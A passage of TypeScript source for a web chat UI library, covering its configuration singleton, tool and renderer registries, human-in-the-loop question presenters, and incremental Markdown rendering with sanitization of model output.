(options.answerOnClick !== undefined) this._elicitationAnswerOnClick = options.answerOnClick;\n this._notify();\n }\n\n /** The elicitation policy (see {@link setElicitationOptions}). */\n getElicitationOptions(): { allowOther: boolean; layout: 'stepped' | 'stacked'; answerOnClick: boolean } {\n return { allowOther: this._elicitationAllowOther, layout: this._elicitationLayout, answerOnClick: this._elicitationAnswerOnClick };\n }\n\n /**\n * Render one field of the question panel yourself.\n *\n * See {@link AparteElicitationFieldRenderer}. Return `null` for a field to let\n * the built-in render it, which is what makes overriding a single kind practical.\n * Pass `null` here to remove the renderer.\n */\n setElicitationFieldRenderer(fn: AparteElicitationFieldRenderer | null): void {\n this._elicitationFieldRenderer = fn ?? undefined;\n this._notify();\n }\n\n /** The custom field renderer, if one is registered. */\n getElicitationFieldRenderer(): AparteElicitationFieldRenderer | undefined {\n return this._elicitationFieldRenderer;\n }\n\n /**\n * Opt-in UX: when enabled, `<aparte-composer>` blocks sending and greys out\n * until {@link hasSelectedModel} is true (e.g. while the model selector is\n * still fetching its list). Off by default so single-model / backend setups\n * that never select a model are unaffected.\n */\n setRequireModelSelection(required: boolean): void {\n if (this._requireModelSelection === required) return;\n this._requireModelSelection = required;\n this._notify();\n }\n\n /** Whether the composer should gate on model selection (see {@link setRequireModelSelection}). */\n getRequireModelSelection(): boolean {\n return this._requireModelSelection;\n }\n\n /**\n * Get the currently selected model object, if available synchronously.\n * Returns undefined if no provider/model is selected, or if the provider's\n * models are only available asynchronously (fetchModels).\n */\n getCurrentModel(): AparteAIModel | undefined {\n const { defaultProvider, defaultModel } = this._modelConfig;\n if (!defaultProvider || !defaultModel) return undefined;\n const provider = this._aiProviders.get(defaultProvider);\n if (!provider) return undefined;\n // The fetched list FIRST: it is fresher, and for a provider whose list only\n // exists at runtime it is the only one there is. `getModels()` stays the\n // fallback, so a provider that declares its models statically is unchanged.\n const fetched = this._fetchedModels.get(defaultProvider);\n const fromFetch = fetched?.find(m => m.id === defaultModel);\n if (fromFetch) return fromFetch;\n const models = provider.getModels();\n if (models instanceof Promise) {\n // Contract violation kept survivable for plain-JS consumers: the\n // type is sync-only, async lists belong in fetchModels().\n console.warn(\n `[AparteConfig] Provider \"${defaultProvider}\".getModels() returned a Promise — it is ignored here, ` +\n 'so this model resolves to undefined and nothing can read its capabilities. ' +\n 'getModels() must return the list synchronously; implement fetchModels() for async fetching.'\n );\n return undefined;\n }\n return models.find(m => m.id === defaultModel);\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Public Rendering Methods (with Fallbacks)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * The locale's string for `key`, or the default (English) locale's when the locale\n * leaves it out; `''` for a key neither declares.\n */\n t(key: keyof AparteLocale): string {\n const val = this._locale[key] || APARTE_DEFAULT_LOCALE[key];\n // Ensure we always return a string for template interpolation\n // For optional properties like 'direction', this might need specific handling or casting\n return (val === undefined) ? '' : val;\n }\n\n /**\n * Render a complete Markdown string to HTML: the one-shot provider when one is\n * registered, else the incremental provider run over the whole string, else core's\n * default (escape + `<br>`).\n *\n * The middle step is what makes the incremental provider enough on its own. Without\n * it a reply rendered two ways depending on how it arrived: rich while it streamed,\n * escaped source once it came back complete — a restored conversation, a\n * non-streaming provider, a stored segment. Same parser, same sanitizer, so the two\n * cannot disagree. It needs a `document` to write into; without one (a server render)\n * the default answers, as before.\n */\n renderMarkdown(raw: string): string {\n if (this._markdownProvider) {\n try {\n // Provider output is untrusted (LLM-authored) → sanitize before it hits innerHTML.\n return this.sanitizeHtml(this._markdownProvider(raw));\n } catch (error) {\n console.warn('[AparteConfig] Markdown provider failed, using fallback:', error);\n }\n } else if (this._streamingMarkdownProvider && typeof document !== 'undefined') {\n try {\n const target = document.createElement('div');\n const renderer = this._streamingMarkdownProvider(target);\n renderer.write(raw);\n renderer.end();\n // It writes DOM directly, which is why the sanitizer runs over the result.\n return this.sanitizeHtml(target.innerHTML);\n } catch (error) {\n console.warn('[AparteConfig] Streaming Markdown provider failed on a complete string, using fallback:', error);\n }\n }\n // The default renderer already HTML-escapes — no sanitization needed.\n return this._defaultMarkdownRenderer(raw);\n }\n\n /**\n * Highlight code block\n * Fallback: Returns raw code wrapped in `<pre><code>`\n * Supports Promise if provider is async/streaming\n */\n async highlightCode(code: string, lang: string): Promise<string> {\n if (this._highlightProvider) {\n try {\n const result = this._highlightProvider(code, lang);\n const html = result instanceof Promise ? await result : result;\n // Highlighter output is derived from LLM code blocks → sanitize before innerHTML.\n return this.sanitizeHtml(html);\n } catch (error) {\n console.warn('[AparteConfig] Highlight provider failed, using fallback:', error);\n }\n }\n return this._defaultHighlightRenderer(code);\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Tool Registry\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register a tool and its handler together.\n * The handler is called when the AI invokes the tool during streaming.\n * @example\n * aparteGlobalConfig.registerTool(askUserTool, askUserHandler);\n */\n registerTool(tool: AparteTool, handler: AparteToolHandler): void {\n this._tools.set(tool.name, { tool, handler });\n }\n\n /** Unregister a tool by name */\n unregisterTool(name: string): void {\n this._tools.delete(name);\n }\n\n /** Get all registered tool definitions (to pass in AparteChatRequest) */\n getTools(): AparteTool[] {\n return Array.from(this._tools.values()).map(e => e.tool);\n }\n\n /**\n * The registered tools' own `systemPrompt`s, in registration order with a blank line\n * between, or `null` if none sets one. `AparteClient` sends them with every request, as a\n * system message after the app's own ({@link AparteConfig.resolveSystemPrompt | resolveSystemPrompt()});\n * a request you assemble yourself should send them the same way, or the model loses the\n * tools' instructions.\n */\n resolveToolSystemPrompts(): string | null {\n const prompts = Array.from(this._tools.values())\n .map((entry) => entry.tool.systemPrompt?.trim())\n .filter((prompt): prompt is string => Boolean(prompt));\n return prompts.length ? prompts.join('\\n\\n') : null;\n }\n\n /** Get the handler for a tool by name */\n getToolHandler(name: string): AparteToolHandler | undefined {\n return this._tools.get(name)?.handler;\n }\n\n /**\n * Register a per-tool segment renderer.\n * Controls what appears in the chat bubble when the AI calls this tool.\n * Use this instead of the generic `tool_call` segment renderer for tool-specific UI.\n *\n * A renderer that needs a popover (a `<aparte-select>`, a menu) cannot open one\n * inside the row: the bubble is `content-visibility: auto`, which makes it the\n * containing block for `position: fixed` descendants and clips a popover to its\n * own box. Mount it on `document.body` and position it from the trigger's rect\n * instead — see [Custom tool\n * renderer](https://apartejs.dev/guides/tools/#custom-tool-renderer).\n *\n * @example\n * // Hide the segment entirely (UI-only tool like ask_user)\n * aparteGlobalConfig.registerToolRenderer('ask_user', { render: () => '' });\n *\n * @example\n * // Custom pill for a web-search tool\n * aparteGlobalConfig.registerToolRenderer('web_search', { render: (seg) => `<div class=\"aparte-tool-label\">Searching...</div>` });\n */\n registerToolRenderer(toolName: string, renderer: AparteToolRenderer): void {\n this._toolRenderers.set(toolName, renderer);\n }\n\n /**\n * Field defaults for a segment TYPE, filled in when a segment enters a message.\n *\n * One function for every type rather than one per field: a `setThinkingOpen()`\n * would need a sibling the next time any type wanted a default, and the type key\n * is a string, so a consumer's own segment type is covered by the same call.\n *\n * The problem it solves: a consumer streaming a reply does not CONSTRUCT its\n * segments — the parser does — so a per-segment field cannot express \"reasoning\n * blocks open in my app\": per-segment fields only reach segments you build yourself.\n *\n * Applied where identity is stamped (`utils/segments.ts`), so it covers every\n * path a segment can arrive by — the parser, `addSegment`, and the segments\n * seeded on an `appendMessage` — and no renderer has to look anything up.\n *\n * A field the producer set always wins, and identity is never defaulted. Read at\n * insertion and baked in: changing a default later does not reach segments already\n * on screen, because a block the reader opened has state the data does not.\n *\n * @example\n * // Reasoning blocks arrive open in this app, streaming or settled.\n * aparteGlobalConfig.setSegmentDefaults('thinking', { collapsed: false });\n *\n * @example\n * // A consumer's own type, same call.\n * aparteGlobalConfig.setSegmentDefaults('my-chart', { theme: 'dark' });\n */\n setSegmentDefaults(type: string, defaults: AparteSegmentDefaults): void {\n this._segmentDefaults.set(type, { ...defaults });\n // No `_notify()`, on purpose: nothing re-reads this. Defaults are baked in at\n // insertion, so a notify would advertise a liveness that does not exist.\n }\n\n /** The defaults registered for a type, or undefined. */\n getSegmentDefaults(type: string): AparteSegmentDefaults | undefined {\n return this._segmentDefaults.get(type);\n }\n\n /** Drop the defaults for a type. */\n clearSegmentDefaults(type: string): void {\n this._segmentDefaults.delete(type);\n }\n\n /** Unregister a per-tool renderer */\n unregisterToolRenderer(toolName: string): void {\n this._toolRenderers.delete(toolName);\n }\n\n /** Get the renderer for a specific tool name. Returns undefined if none registered. */\n getToolRenderer(toolName: string): AparteToolRenderer | undefined {\n return this._toolRenderers.get(toolName);\n }\n\n /**\n * Say what a call targets, in the default row, after the tool's name.\n *\n * The default row names the tool and keeps its arguments behind a disclosure, so a\n * reader sees that a file was read, not which one. Replacing the row with\n * `registerToolRenderer` for that one line would mean re-implementing its six states,\n * the spinner, the disclosure and the relabel contract. This keeps all of them and\n * adds the line. A tool with its own renderer draws its own row, so its summary is\n * never read.\n *\n * The text is written as text, never parsed as HTML. It is read when the row\n * renders, on every update to the call (its arguments may still be arriving), and\n * on every config change — so registering one after a row is on screen shows up on\n * that row's next update.\n *\n * @example\n * // read_file skills.json\n * aparteGlobalConfig.registerToolSummary('read_file', (segment) =>\n * String(segment.toolCall.input['path'] ?? ''));\n */\n registerToolSummary(toolName: string, summary: AparteToolSummary): void {\n this._toolSummaries.set(toolName, summary);\n }\n\n /** Unregister a per-tool summary. */\n unregisterToolSummary(toolName: string): void {\n this._toolSummaries.delete(toolName);\n }\n\n /** Get the summary for a specific tool name. Returns undefined if none registered. */\n getToolSummary(toolName: string): AparteToolSummary | undefined {\n return this._toolSummaries.get(toolName);\n }\n\n /**\n * Show a tool's arguments as a person reads them, in the approval panel and in the\n * default tool row's disclosure — one formatter for both. Without one, both show the\n * JSON the model sent.\n *\n * @example\n * // Approve \"write_file notes.md (2 KB)\" rather than a JSON object.\n * aparteGlobalConfig.registerToolInputFormatter('write_file', (input) =>\n * `${String(input['path'] ?? '')} (${Math.ceil(String(input['content'] ?? '').length / 1024)} KB)`);\n */\n registerToolInputFormatter(toolName: string, formatter: AparteToolInputFormatter): void {\n this._toolInputFormatters.set(toolName, formatter);\n }\n\n /** Unregister a tool's input formatter. */\n unregisterToolInputFormatter(toolName: string): void {\n this._toolInputFormatters.delete(toolName);\n }\n\n /** Get the input formatter for a tool name. Returns undefined if none registered. */\n getToolInputFormatter(toolName: string): AparteToolInputFormatter | undefined {\n return this._toolInputFormatters.get(toolName);\n }\n\n /**\n * Teach the stream parser a tagged block: `<tag attr=\"…\">…</tag>` in the model's\n * prose becomes the segment `toSegment` builds, streamed delta by delta.\n *\n * The parser does the work once for every grammar — the earliest opening tag wins\n * against a code fence and a reasoning delimiter, a tag cut at a chunk boundary is\n * held back, attributes are parsed quoted or bare, and the block is closed at\n * `</tag>` or at the end of the stream. What the segment IS is yours: a `type` of\n * your own with a renderer from `registerSegmentRenderer`, or a built-in one. One\n * grammar per tag; registering the same tag again replaces it.\n *\n * Read by the stream adapter when a turn starts, so a block registered mid-turn\n * applies from the next turn. See {@link AparteStreamBlock}.\n *\n * @example\n * aparteGlobalConfig.registerStreamBlock({\n * tag: 'cite',\n * toSegment: ({ attrs, id }) => ({ id, type: 'citation', url: attrs['url'] ?? '', content: '' }),\n * });\n */\n registerStreamBlock(block: AparteStreamBlock): void {\n this._streamBlocks.set(block.tag, block);\n this._notify();\n }\n\n /** Forget a block grammar by its tag. */\n unregisterStreamBlock(tag: string): void {\n if (this._streamBlocks.delete(tag)) this._notify();\n }\n\n /** The registered block grammars, in registration order. */\n getStreamBlocks(): AparteStreamBlock[] {\n return Array.from(this._streamBlocks.values());\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Conversation Manager (optional, agnostic persistence layer)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register a AparteConversationManager so any UI controller can persist & load\n * conversations without coupling to a framework wrapper.\n */\n setConversationManager(manager: AparteConversationManager): void {\n this._conversationManager = manager;\n }\n\n /** Returns the registered AparteConversationManager, or undefined if none. */\n getConversationManager(): AparteConversationManager | undefined {\n return this._conversationManager;\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Elicitation (human-in-the-loop typed input)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register the presenter that renders typed input requests (a choice, a\n * confirmation, a text field, a form) and resolves with the user's answer.\n * The `<aparte-elicitation>` Web Component registers itself here; an app can\n * override with its own framework-native presenter. Pass `null` to clear.\n *\n * Several can be registered, one per chat: `owner` is an element of the chat the\n * presenter belongs to (`<aparte-elicitation>` passes itself). A request whose `target`\n * is inside that chat reaches its presenter; a request with no `target`, or from a chat\n * with no presenter of its own, reaches the most recently registered one. Registering a\n * presenter again makes it the most recent.\n */\n setElicitationPresenter(presenter: AparteElicitationPresenter | null, owner?: HTMLElement): void {\n if (presenter === null) {\n // \"Turn it off\" — an app deliberately clearing, and what `reset()` means.\n this._elicitationPresenters = [];\n return;\n }\n // Re-registering moves an existing entry to the top rather than duplicating it,\n // so `aparteConfigChanged` firing twice cannot leave two copies behind.\n this._elicitationPresenters = this._elicitationPresenters.filter(e => e.fn !== presenter);\n this._elicitationPresenters.push(owner === undefined ? { fn: presenter } : { fn: presenter, owner });\n }\n\n /**\n * Withdraw ONE presenter, named, leaving any others registered.\n *\n * This is what an unmounting `<aparte-elicitation>` needs and what\n * `setElicitationPresenter(null)` could not express: clearing the slot took every\n * other mounted chat's presenter down with it. Removing a presenter that is not\n * registered is a no-op.\n */\n removeElicitationPresenter(presenter: AparteElicitationPresenter): void {\n this._elicitationPresenters = this._elicitationPresenters.filter(e => e.fn !== presenter);\n }\n\n /**\n * The presenter a request with no `target` would reach — the most recently\n * registered one. Kept for the callers that ask \"is anybody able to present?\".\n */\n getElicitationPresenter(): AparteElicitationPresenter | undefined {\n return this._elicitationPresenters[this._elicitationPresenters.length - 1]?.fn;\n }\n\n /**\n * The presenter that should handle THIS request.\n *\n * A `target` is an element inside the asking chat, so the presenter registered from\n * the same chat is the right one — found by comparing chat boundaries rather than by\n * `contains`, because the presenter is a sibling of the transcript, not an ancestor\n * of it. With no target, no match, or no boundary to compare, the top of the stack\n * is the answer.\n */\n private _presenterFor(target?: HTMLElement | null): AparteElicitationPresenter | undefined {\n const stack = this._elicitationPresenters;\n if (stack.length === 0) return undefined;\n if (target) {\n const wanted = chatBoundaryOf(target);\n if (wanted) {\n // Last registered wins among equals, matching the stack's own order.\n for (let i = stack.length - 1; i >= 0; i -= 1) {\n const entry = stack[i] as { fn: AparteElicitationPresenter; owner?: HTMLElement };\n if (entry.owner && chatBoundaryOf(entry.owner) === wanted) return entry.fn;\n }\n }\n }\n return stack[stack.length - 1]?.fn;\n }\n\n /**\n * Ask the person for typed input in the middle of a run, and wait for the answer. The\n * primitive behind `ask_user` and tool approval: the kind of question is its schema.\n *\n * **Resolves** `accept` with the value, or `decline` when the person declines.\n *\n * **Rejects**, with no answer, with an {@link AparteElicitationAbortError} (its `name` is\n * `'AbortError'`) whose `reason` is `'aborted'` — the turn was stopped, the signal fired,\n * or another request took the question away — or `'no-presenter'`, when nothing is mounted\n * to ask it (with a console warning, once). `await` it in a `try`, or attach a `.catch()`.\n *\n * The question goes to the presenter of the chat that holds `request.target` (see\n * {@link AparteConfig.setElicitationPresenter | setElicitationPresenter()});\n * `<aparte-elicitation>` is the default one, and registers itself once it is in the DOM.\n * A chat shows one question at a time: a second request in the same chat waits until the\n * first is answered or ends, and requests with no `target` share one queue.\n */\n requestUserInput(request: AparteElicitationRequest): Promise<AparteElicitationResult> {\n /*\n * There is no `cancel` result. It is easy to handle as though it were an answer\n * (a stopped turn read as the person refusing a tool they were never shown).\n * A request that ends without an answer rejects instead.\n */\n const queue = this._elicitationQueueKey(request);\n const previous = this._elicitationQueue.get(queue);\n /*\n * Nothing waiting → present in THIS tick.\n *\n * The panel is mounted synchronously today, and the unit tests and the browser\n * E2E both read it on the line after the call. A microtask hop for every\n * request would be an observable change bought for nothing, so the queue only\n * costs a hop when there is actually something ahead.\n */\n const settled = previous === undefined ? this._present(request) : previous.then(\n () => this._present(request),\n () => this._present(request),\n );\n const mine: Promise<void> = settled.then(NOOP, NOOP).then(() => {\n // Drained: back to \"nothing waiting\", so the next request is immediate\n // again. Guarded because a request enqueued behind this one owns the tail\n // now, and clearing it would drop that one on the floor.\n if (this._elicitationQueue.get(queue) === mine) this._elicitationQueue.delete(queue);\n });\n this._elicitationQueue.set(queue, mine);\n return settled;\n }\n\n /**\n * Which queue a request waits in: its own chat's.\n *\n * The wait exists so a second question cannot take the panel away from the one on\n * screen — a property of ONE panel, and `_present` routes by target, so a chat is\n * the right unit. One queue for the whole config would let an approval waiting in\n * the first chat hold the second chat's question behind it for ever. Requests that\n * name no chat share the `null` queue, because they all reach the same presenter —\n * the top of the stack.\n */\n private _elicitationQueueKey(request: AparteElicitationRequest): HTMLElement | null {\n return chatBoundaryOf(request.target);\n }\n\n /** Hand ONE request to the presenter. Called only from the queue. */\n private _present(request: AparteElicitationRequest): Promise<AparteElicitationResult> {\n // Routed by the request's own `target`, so two chats on one page each answer\n // their own questions instead of the last-mounted one answering both.\n const presenter = this._presenterFor(request.target);\n if (!presenter) {\n if (!this._warnedNoPresenter) {\n this._warnedNoPresenter = true;\n console.warn(\n '[aparte] requestUserInput() was called with no elicitation presenter, '\n + 'so it rejected with an AbortError — nothing was ever shown to anybody. '\n + 'Add <aparte-elicitation></aparte-elicitation> '\n + 'inside your <aparte-chat> (the Angular wrapper\\'s tag too) — or, under the '\n + 'React/Vue/Svelte wrappers, inside their [data-aparte-chat] host (every wrapper '\n + 'renders it by default, unless you passed `elicitation={false}`) — or register '\n + 'your own by calling '\n + 'setElicitationPresenter() on the config this chat resolves — '\n + 'the scoped one if you passed a `config`, aparteGlobalConfig otherwise.',\n );\n }\n return Promise.reject(new AparteElicitationAbortError('no-presenter'));\n }\n /*\n * Re-checked HERE rather than on the way in: a request can sit in the queue\n * while the turn that raised it is stopped, and opening a panel for a run\n * that is already over would ask the user about nothing.\n */\n if (request.signal?.aborted) return Promise.reject(new AparteElicitationAbortError('aborted'));\n const answer = presenter(request);\n const signal = request.signal;\n if (!signal) return answer;\n // A stop rejects the request whatever the presenter does with the signal: a custom\n // presenter that never listened to it left the turn waiting on a panel nobody would\n // answer. The presenter is still told, through the same signal, to take its UI down.\n return new Promise((resolve, reject) => {\n const onAbort = (): void => reject(new AparteElicitationAbortError('aborted'));\n signal.addEventListener('abort', onAbort, { once: true });\n answer.then(resolve, reject).finally(() => signal.removeEventListener('abort', onAbort));\n });\n }\n\n /**\n * Put the configuration back to its defaults: the providers and the selected model,\n * the tools with their renderers and summaries, the renderers and render hooks, the\n * Markdown and highlight providers, the sanitizer, the system prompt, the locale, icons,\n * avatars, actions and host handlers, the conversation manager, the question presenters\n * and their queue. Three things stay: the transport, the key sources added with\n * {@link AparteConfig.registerKeyProvider | registerKeyProvider()} (an `AparteClient`'s\n * `keyResolver` among them), and the {@link AparteConfig.subscribe | subscribe()} listeners.\n */\n reset(): void {\n // Every registry is cleared, not only the selection: they used to survive a reset\n // and grew across single-page navigations.\n this._markdownProvider = undefined;\n this._streamingMarkdownProvider = undefined;\n this._highlightProvider = undefined;\n this._systemPromptTemplate = undefined;\n this._systemPromptVarsProvider = undefined;\n this._statusRenderer = undefined;\n this._errorRenderer = undefined;\n this._attachmentRenderer = undefined;\n this._siblingNavRenderer = undefined;\n this._bubbleShellRenderer = undefined;\n this._iconProvider = undefined;\n // Registered defaults are config like any other. Leaving them behind made\n // a test leak its defaults into the next one, which is the same thing a\n // consumer's `reset()` would do to a second chat.\n this._segmentDefaults.clear();\n this._avatarProvider = undefined;\n this._keyProvider = undefined;\n this._conversationManager = undefined;\n this._elicitationPresenters = [];\n // The queues too: a request left waiting across a reset belongs to a chat that\n // no longer exists, and holding a tail would make the next request wait on it.\n this._elicitationQueue.clear();\n this._locale = APARTE_DEFAULT_LOCALE;\n this._actions = [];\n this._sanitizer = defaultSanitizer;\n // Registries — the leak the audit flagged.\n this._aiProviders.clear();\n this._fetchedModels.clear();\n this._tools.clear();\n this._toolRenderers.clear();\n this._toolSummaries.clear();\n this._toolInputFormatters.clear();\n this._streamBlocks.clear();\n this._modelConfig = {};\n this._requireModelSelection = false;\n this._elicitationAllowOther = true;\n this._elicitationLayout = 'stepped';\n this._elicitationAnswerOnClick = true;\n this._elicitationFieldRenderer = undefined;\n this._modelPreferenceProvider = undefined;\n this._approvalPolicy = null;\n this._bubbleActionsConfig = { ...APARTE_DEFAULT_BUBBLE_ACTIONS };\n this._hostHandlers = { ...APARTE_DEFAULT_HOST_HANDLERS };\n this._notify();\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Default Fallbacks (Zero-dependency)\n // ─────────────────────────────────────────────────────────────────────────\n\n private _defaultMarkdownRenderer(raw: string): string {\n // Simple security: Escape HTML tags\n const escaped = escapeHtml(raw);\n // Convert newlines to breaks\n return escaped.replace(/\\n/g, '<br>');\n }\n\n private _defaultHighlightRenderer(code: string): string {\n return `<pre><code>${escapeHtml(code)}</code></pre>`;\n }\n\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Export Singleton\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * The page-global singleton's key.\n *\n * A `Symbol.for`, and versioned — matching the discipline the instance boundary\n * next door uses (`Symbol.for('aparte.instanceConfig')`). Versioned so that two copies\n * of `@aparte/core` on one page — the ordinary outcome of a `~` peer next to an\n * app-level dependency, or two consumers on different wrapper versions — do not share\n * one instance seen through two `AparteConfig` classes across which `instanceof` is\n * false.\n *\n * The trailing number is a CONTRACT version, not the package version: bump it when\n * the config's shape changes in a way that makes sharing unsafe. Two copies then\n * simply get one global each, which is correct — a copy is consistent with itself.\n */\nconst GLOBAL_CONFIG_KEY = Symbol.for('aparte.globalConfig.1');\n\nfunction getGlobalConfig(): AparteConfig {\n if (typeof window !== 'undefined') {\n if (!(window as unknown as Record<symbol, AparteConfig>)[GLOBAL_CONFIG_KEY]) {\n (window as unknown as Record<symbol, AparteConfig>)[GLOBAL_CONFIG_KEY] = new AparteConfig();\n }\n return (window as unknown as Record<symbol, AparteConfig>)[GLOBAL_CONFIG_KEY]!;\n }\n // Fallback for non-browser environments (e.g., SSR, tests)\n return new AparteConfig();\n}\n\n/**\n * The page-wide configuration: every chat reads it unless an ancestor carries an instance of\n * its own ({@link attachConfig}). There is one per window, kept on `window`, so two copies of\n * the package on one page share it; off the browser (a server render, a test) each import\n * creates its own.\n */\nexport const aparteGlobalConfig = getGlobalConfig();\n\n// Inject default styles for skeletons if needed (optional)\n// Note: In a real app we might want to use a stylesheet or shadow DOM styles\n\n/**\n * Detail payload for `aparte-config-change`, dispatched on `window` whenever any\n * provider, locale, action or model setting changes.\n *\n * Every core component that draws config-derived text or chrome listens for it. `config` is\n * what makes per-instance config work: a\n * component resolving to a different instance compares it and skips the rebuild\n * instead of every chat on the page reacting to every config's change.\n *\n * @event aparte-config-change\n */\nexport interface AparteConfigChangeEventDetail {\n /** The config instance that changed — compare against your own before reacting. */\n config: AparteConfig;\n /** Its model configuration, after the change. */\n modelConfig: AparteModelConfig;\n}\n","/**\n * One way for an element to hear that its config changed.\n *\n * `AparteConfig._notify()` dispatches `aparte-config-change` on `window` so that\n * components already on screen pick up a live change — a language switch, a new\n * icon set, different bubble actions. Five components subscribed to it, each with\n * its own verbatim copy of the same three lines, and the event name written out as\n * a string literal in each. Every component that reads config at RENDER time and\n * did not copy those lines is silently stale: sixteen of the twenty-one files that\n * read an icon or a locale string never re-read it, while the docs say \"a locale\n * switch is live: mounted components re-render immediately\".\n *\n * So: one function, and it owns both the event name and the scope rule.\n *\n * @param el the element whose config decides whether a change is *its* change\n * @param handler called on a relevant change — do a TARGETED refresh, not a\n * re-render: several components render once by design and their DOM\n * holds live state (focus, listeners, a caret, a mounted iframe)\n * @returns an unsubscribe, to call from `disconnectedCallback`\n *\n * @example\n * connectedCallback(): void {\n * this._render();\n * this._unsubscribe = subscribeConfigChange(this, () => this._refreshChrome());\n * }\n * disconnectedCallback(): void {\n * this._unsubscribe?.();\n * this._unsubscribe = null;\n * }\n */\nimport { resolveConfig } from './config-context.js';\n\n/** The event `AparteConfig._notify()` dispatches on `window`. */\nexport const APARTE_CONFIG_CHANGE = 'aparte-config-change';\n\nexport function subscribeConfigChange(el: Element, handler: () => void): () => void {\n const listener = (e: Event): void => {\n const detail = (e as CustomEvent).detail as { config?: unknown } | undefined;\n /*\n * The config is resolved HERE, per event — never captured when subscribing.\n *\n * `AparteChatStatus` documents why: caching it at connect made the element\n * \"permanently deaf to its own instance\", because the filter compared the\n * event's config against a value latched before the instance existed, so no\n * change for the real instance ever matched. The filter meant to isolate two\n * chats on one page became the thing that silenced one of them.\n *\n * A bare notify — no `detail.config` — always passes, which is what a manual\n * `_notify()` and the global config both produce.\n */\n if (detail?.config && detail.config !== resolveConfig(el)) return;\n handler();\n };\n window.addEventListener(APARTE_CONFIG_CHANGE, listener);\n return () => window.removeEventListener(APARTE_CONFIG_CHANGE, listener);\n}\n","/**\n * Writing streamed Markdown into an element — the incremental path, and its\n * one-shot fallback.\n *\n * Extracted from the text renderer when the thinking renderer needed the same\n * thing. It is a small state machine with three states and two failure modes that\n * only show up on a long stream, so the alternative was two hand-maintained copies\n * of it — and this repo has already paid for one of those (the `<artifact>` XML\n * feeder, whose two copies drifted and then cited each other by line number).\n *\n * What it does, and why:\n *\n * - With an incremental provider registered (`@aparte/plugin-streaming-markdown`),\n * each new chunk is fed to a persistent parser that APPENDS DOM nodes — O(n) over\n * the whole message, no per-token re-parse and no `innerHTML` rebuild. That\n * rebuild is not merely wasteful: the per-token render plus GPU paint storm is\n * what starves a local model's WebGPU decode. It also renders partial Markdown\n * live, so `**bold` shows bold before its closing `**` arrives.\n * - With no provider, it falls back to the one-shot `renderMarkdown` — which is\n * also what the zero-dependency default gives you (escape + `<br>`).\n * - On the settling update (`isStreaming === false`) it flushes the incremental\n * parser with `end()` — that emits the buffered token lookahead, e.g. a trailing\n * emoji — and then re-renders once through `renderMarkdown` for full fidelity:\n * the one-shot provider when one is registered, else the incremental provider run\n * over the complete string, so the streaming plugin installed alone settles on its\n * own output. When `renderMarkdown` can only answer with core's escape-and-`<br>`\n * default (the incremental provider failed on the whole string), re-rendering\n * would write the raw source over rendered DOM at the moment the turn ends; the\n * flushed DOM is kept and re-sanitised in place instead — and a later settle on\n * the same content (a framework re-syncing the finished message) leaves it there.\n */\nimport { contextConfig } from '../config/index.js';\nimport type { AparteStreamingMarkdownRenderer } from '../config/index.js';\nimport { escapeHtml } from '../utils/escape.js';\n\n/**\n * The element that carries the incremental state.\n *\n * It lives on the segment's root element rather than in a module map so that\n * removing the element removes the state with it — a map would keep a detached\n * parser alive for every message ever streamed.\n *\n * `undefined` → not started · `null` → no provider (one-shot fallback)\n * object → active incremental renderer + chars already written.\n */\nexport type AparteMarkdownStreamHost = HTMLElement & {\n _aparteSmd?: { renderer: AparteStreamingMarkdownRenderer; written: number } | null;\n};\n\n/**\n * The content an element was last settled on by keeping the parser's DOM.\n *\n * The parser is gone once it settles, but the settle is not the last non-streaming\n * update an element receives: a framework's reconcile re-sends `{ content,\n * isStreaming: false }` to the last message on every render. Without this, that\n * second settle found no parser and fell through to the one-shot default, turning\n * the kept DOM back into its raw source one render after the turn ended.\n *\n * Keyed by the content element, because that is what the entry describes — the\n * bubble's own content element can be rebuilt under the same host — and weakly, so\n * that removing the element removes the entry, for the reason given above.\n */\nconst settledFromParser = new WeakMap<Element, string>();\n\n/** A probe with HTML in it, because escaping HTML is what the default renderer does. */\nconst ONE_SHOT_PROBE = '<i>a</i>';\n\n/**\n * Does `renderMarkdown` render Markdown here, or answer with core's zero-dependency\n * default? A registered one-shot provider renders, and so does the incremental provider\n * run over the whole string; the default is what is left when neither can.\n *\n * Asked of the seam itself, because `renderMarkdown` is the only public shape the\n * one-shot side has, and it is also what would run here. The default escapes HTML\n * and nothing else, so it hands the probe back as `escapeHtml` wrote it; a\n * registered provider answers differently even when it renders no Markdown at all\n * (a pass-through one returns the markup, which the sanitizer then keeps). Reusing\n * `escapeHtml` rather than re-typing the escaped string keeps the two sides of the\n * comparison reading the same source.\n */\nfunction hasOneShotMarkdownProvider(): boolean {\n return contextConfig().renderMarkdown(ONE_SHOT_PROBE) !== escapeHtml(ONE_SHOT_PROBE);\n}\n\n/**\n * Render `content` into `contentEl`, incrementally while streaming.\n *\n * @param host the segment's root element, which holds the parser state\n * @param contentEl the element whose children are the rendered Markdown\n * @param content the FULL content so far, not the delta — the delta is derived\n * @param streaming false on the settling update, which flushes and re-renders once\n */\nexport function writeStreamedMarkdown(\n host: AparteMarkdownStreamHost,\n contentEl: Element,\n content: string,\n streaming: boolean,\n): void {\n if (streaming) {\n // Lazily create an incremental renderer on the first streaming update.\n if (host._aparteSmd === undefined) {\n settledFromParser.delete(contentEl); // a new stream writes over the settled DOM\n const renderer = contextConfig().createStreamingMarkdownRenderer(contentEl as HTMLElement);\n if (renderer) {\n contentEl.textContent = ''; // drop the skeleton — smd appends from scratch\n host._aparteSmd = { renderer, written: 0 };\n } else {\n host._aparteSmd = null; // no provider → one-shot fallback below\n }\n }\n const smd = host._aparteSmd;\n if (smd) {\n const delta = content.slice(smd.written);\n if (delta) {\n smd.renderer.write(delta);\n smd.written = content.length;\n }\n return;\n }\n // smd === null → fall through to the one-shot render.\n } else if (host._aparteSmd) {\n // Stream finished — feed whatever the last streaming update did not carry\n // (a completion whose call brings the final content), then flush the\n // incremental parser: `end()` emits its buffered trailing characters.\n const smd = host._aparteSmd;\n const tail = content.slice(smd.written);\n if (tail) {\n 